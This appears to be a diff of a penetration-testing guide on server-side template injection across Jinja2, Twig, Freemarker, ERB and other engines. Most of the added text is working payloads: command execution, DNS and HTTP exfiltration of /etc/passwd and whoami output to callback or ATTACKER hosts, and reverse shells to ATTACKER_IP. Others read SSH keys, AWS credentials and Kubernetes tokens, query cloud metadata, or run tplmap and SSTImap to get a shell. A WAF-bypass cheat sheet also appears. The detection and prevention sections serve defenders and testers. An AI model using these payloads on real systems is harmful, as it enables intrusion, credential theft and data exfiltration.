- Rails (Ruby) ERB Direct exec: <%=system('CMD')%> or <%=`CMD`%>
- Secrets: <%=Rails.application.credentials.secret_key_base%>
+ ```ruby
+ <%= sleep(5) %> # ERB
```
- ---
+ Freemarker: assign Execute, invoke with `"sleep 5"`. Thymeleaf: dollar-curly
+ with `T(java.lang.Thread).sleep(5000)` in preprocessing wrapper.
- ## Chaining SSTI to Higher Impact
+ ### 7.2 OOB DNS Callbacks
- SSTI chains to SSRF, file read, and full RCE depending on the engine and available
- classes. Use these cross-engine patterns.
+ ```python
+ # Jinja2 -- confirm execution
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}
- ```text
- CHAIN JINJA2 TWIG FREEMARKER THYMELEAF/SpEL
- ---------------------------------------------------------------------------------------------------------------------------------------
- SSRF MRO->urllib subclass-> file_excerpt('/proc/net/ <#include "http:// T(java.net.URI).create(
- .read('http://169.254...') tcp',1,100) 169.254..."> 'http://169.254...').toURL()
+ # Jinja2 -- exfiltrate data in subdomain
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
+ ```
- File Read MRO->file subclass[40]-> '/etc/passwd'| <#include "/etc/passwd"> T(java.nio.file.Files)
- .read('/etc/passwd') file_excerpt(1,100) .readAllLines(...)
+ ```php
+ {{['curl http://UNIQUE.oastify.com']|map('system')}} # Twig
+ ```
- RCE->RevShell __import__('os').popen( ['bash -c ...']| Execute?new()("bash -c T(Runtime).getRuntime()
- 'bash -c "bash -i >& ...") map('system') {echo,BASE64}|...") .exec(new String[]{...})
+ ```ruby
+ <%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %> # ERB
```
+ ### 7.3 Error and Boolean Inference
+
+ ```python
+ {{config.__class__.__name__ + 1}} # Type error leaks data in error page
+ {{1/0}} # Division by zero with engine info
+
+ # Boolean blind -- extract character by character
+ {% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}
+ ```
+
---
- ## Automated Exploitation with tplmap
+ ## 8. Chained Exploitation
- ```bash
- # tplmap - detect and exploit across engines
- python tplmap.py -u 'http://target.com/page?name=test' # basic scan
- python tplmap.py -u 'http://target.com/page' -d 'name=test' # POST data
- python tplmap.py -u 'http://target.com/page?name=test' -e jinja2 # force engine
- python tplmap.py -u 'http://target.com/page?name=test' --os-cmd 'id'
- python tplmap.py -u 'http://target.com/page?name=test' --os-shell
- python tplmap.py -u 'http://target.com/page?name=test' --download /etc/passwd ./out
+ ### 8.1 SSTI to SSRF
- # SSTImap (maintained fork)
- python3 sstimap.py -u 'http://target.com/page?name=test' -s # scan
- python3 sstimap.py -u 'http://target.com/page?name=test' -S # interactive shell
+ ```python
+ # Cloud metadata
+ {{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
- # TInjA (template injection analyzer)
- tinja url -u 'http://target.com/page?name=test'
+ # Internal service access
+ {{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
```
- ---
+ ### 8.2 SSTI to File Read
- ## Detection / Defender View
+ ```python
+ {{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}} # Source code
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}} # DB creds
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}} # K8s token
+ {{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}} # Process env
+ ```
- Defenders can detect and prevent SSTI at multiple layers.
+ ### 8.3 SSTI to Reverse Shell
- **Code-level prevention:**
- - Never concatenate user input into template strings. Always pass data as template variables.
- - Block dangerous APIs at the linter level: `render_template_string`, `Template()` with user input, `compile` with user input.
- - Use semgrep or CodeQL SSTI rule packs in CI pipelines to catch unsafe patterns before deployment.
+ Jinja2:
+ ```python
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
+ ```
- **Runtime detection signals:**
- - Template error messages in HTTP responses (stack traces mentioning Jinja2, Twig, Freemarker).
- - Requests containing template metacharacters: `{{`, `${`, `<%`, `{%`, `#{`, `*{`.
- - Requests with MRO traversal patterns: `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__builtins__`.
- - Requests with Java reflection patterns: `getRuntime`, `exec(`, `ProcessBuilder`, `forName`.
- - DNS queries to unexpected external domains from application servers (OOB exfiltration).
- - Unusual process spawning from web server processes (shell, python, curl).
+ Freemarker: assign Execute, invoke with
+ `bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}`.
- **WAF rules:**
- - Block or alert on `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__import__` in request parameters.
- - Block `T(java.lang.Runtime)`, `getRuntime()`, `ProcessBuilder` in request parameters.
- - Block `{%`, `{{`, `${`, `<%=` in contexts where template syntax is not expected.
- - Beware of bypass via encoding; decode before inspection.
+ ERB:
+ ```ruby
+ <%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
+ ```
- **Sandboxing:**
- - Enable template engine sandboxing where available (Jinja2 SandboxedEnvironment, Freemarker template security manager).
- - Run application processes with minimal OS privileges and seccomp/AppArmor profiles.
- - Use `html/template` over `text/template` in Go applications.
- - Disable `{php}` tags in Smarty; disable debug compilation in EJS; restrict SpEL in Thymeleaf.
+ ### 8.4 SSTI to Privesc Enumeration
- ---
+ ```python
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}
+ ```
- ## Engagement Cheatsheet
+ ### 8.5 SSTI to Data Exfiltration
- ```text
- ENGINE DETECT INFO DISCLOSURE RCE PAYLOAD
- ------------------------------------------------------------------------------------------
- Jinja2 {{7*'7'}}=7777777 {{config}} {{self.__init__.__globals__.__builtins__
- .__import__('os').popen('CMD').read()}}
+ ```python
+ # Chunked DNS exfil
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
- Twig 1.x {{7*7}}=49 {{_self.env}} {{_self.env.registerUndefinedFilterCallback
- ("exec")}}{{_self.env.getFilter("CMD")}}
+ # HTTP POST exfil
+ {{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}
+ ```
- Twig 3.x {{7*7}}=49 {{app.request.server}} {{['CMD']|map('system')}}
+ ---
- Freemarker ${7*7}=49 ${.data_model} ${"freemarker.template.utility.Execute"
- ?new()("CMD")}
+ ## Detection / Defender View
- Velocity $class.type #set($x=$class.inspect #set($rt=$class.inspect("java.lang
- ("java.lang.System")) .Runtime").type.getRuntime().exec("CMD"))
+ **Indicators of Attack:**
+ - Template delimiters in input: `{{`, `{%`, `<%`, `#{`, `#set(`, `<#assign`.
+ - MRO strings: `__class__`, `__mro__`, `__subclasses__`, `__globals__`, `__builtins__`.
+ - Java reflection: `getRuntime`, `ProcessBuilder`, `forName`, `T(java.lang`.
+ - Template errors in responses from user-triggered requests.
- Pebble {{7*7}}=49 {{beans}} See beans/Runtime chain above
+ **Indicators of Compromise:**
+ - Unexpected child processes from web workers (`sh`, `bash`, `curl`, `nslookup`).
+ - New files in `/tmp` or web root created by the app process.
+ - Outbound connections to callback services or unfamiliar IPs.
+ - Cloud metadata access from containers that should not query 169.254.169.254.
- Smarty {$smarty.version} {$smarty.template} {system('CMD')} or math equation abuse
+ **Prevention:**
+ - Never concatenate user input into template strings -- use template variables.
+ - Block dangerous APIs in CI: `render_template_string()`, `Template()` with
+ user input, `Environment.from_string()`.
+ - Enable sandboxing: Jinja2 `SandboxedEnvironment`, Freemarker `SAFER_RESOLVER`.
+ - Restrict Twig filters/functions to a safe allowlist.
+ - Disable `{php}` in Smarty, `compileDebug` in EJS, SpEL preprocessing in Thymeleaf.
+ - Run apps with minimal privileges, seccomp/AppArmor, read-only root filesystems.
+ - WAF rules as defense-in-depth (see section 6 for bypass techniques).
+ - Track CVEs: CVE-2024-22195 (Jinja2 xmlattr bypass), CVE-2024-46507 (Yeti RCE).
- Mako ${7*7}=49 ${self.module.__name__} ${self.module.cache.util.os
- .popen('CMD').read()}
+ ---
- ERB <%=7*7%>=49 <%=ENV%> <%=system('CMD')%>
+ ## Engagement Cheatsheet
- Thymeleaf ${T(Math).PI}=3.14... ${@environment} ${T(java.lang.Runtime).getRuntime()
- .exec('CMD')}
+ | Phase | Action | Tool / Technique |
+ |----------------|-------------------------------------------|------------------------------------|
+ | Recon | Map input reflection points | Burp Suite, waybackurls, qsreplace |
+ | Detection | Inject polyglot and arithmetic probes | ffuf, Burp Intruder, manual |
+ | Fingerprinting | Identify engine via decision tree/errors | Error signatures, variable probes |
+ | Validation | Confirm server-side execution | Timing, source inspection |
+ | Exploitation | Apply engine-specific RCE chain | tplmap, SSTImap, TInjA, manual |
+ | Bypass | Evade WAF/filters | Section 6 techniques |
+ | Blind | OOB, time-based, error-based methods | Burp Collaborator, interactsh |
+ | Escalation | Chain to file read, SSRF, shell, privesc | Section 8 chains |
+ | Proof | Non-destructive PoC with unique marker | DNS callback, unique file |
- Handlebars {{this}}=object dump {{@root}} Requires proto pollution or unsafe helpers
+ ### Tool Quick Reference
- EJS <%=7*7%>=49 <%=process.env%> <%=global.process.mainModule.require(
- 'child_process').execSync('CMD')%>
+ ```bash
+ # tplmap
+ python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan
+ python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine
+ python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection
+ python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command
+ python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
- Nunjucks {{7*7}}=49 {{range.constructor}} {{range.constructor("return global.process
- .mainModule.require('child_process')
- .execSync('CMD')")()}}
- ```
+ # SSTImap
+ python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect
+ python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell
+ python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
- ```text
- BYPASS QUICK REFERENCE
- Dot blocked: |attr('name') or ['name']
- Underscore blocked: \x5f (hex) or request.args
- Quotes blocked: request.args.param or chr() construction
- Brackets blocked: |attr() chains with |attr('__getitem__')
- Keywords blocked: string concatenation ('o'+'s') or ~ operator
- WAF blocking {{: double-encode %257B%257B or HPP
- Blind context: time delay, OOB DNS, error-based inference
+ # Parameter discovery
+ waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
+ ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
+ arjun -u http://target.example.com/page --stable
```
---
## Key References
- - PortSwigger SSTI Research: https://portswigger.net/research/server-side-template-injection
+ - PortSwigger Research: https://portswigger.net/research/server-side-template-injection
+ - PortSwigger SSTI Labs: https://portswigger.net/web-security/server-side-template-injection
- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- HackTricks SSTI: https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
- tplmap: https://github.com/epinna/tplmap
- SSTImap: https://github.com/vladko312/SSTImap
- TInjA: https://github.com/Hackmanit/TInjA
- - Jinja2 Documentation (sandbox): https://jinja.palletsprojects.com/en/3.1.x/sandbox/
- - Spring SpEL Documentation: https://docs.spring.io/spring-framework/reference/core/expressions.html
+ - Jinja2 Sandbox: https://jinja.palletsprojects.com/en/3.1.x/sandbox/
+ - Spring SpEL: https://docs.spring.io/spring-framework/reference/core/expressions.html
- Freemarker Security: https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
+ - OWASP SSTI Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Tests/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
+ - CWE-1336: https://cwe.mitre.org/data/definitions/1336.html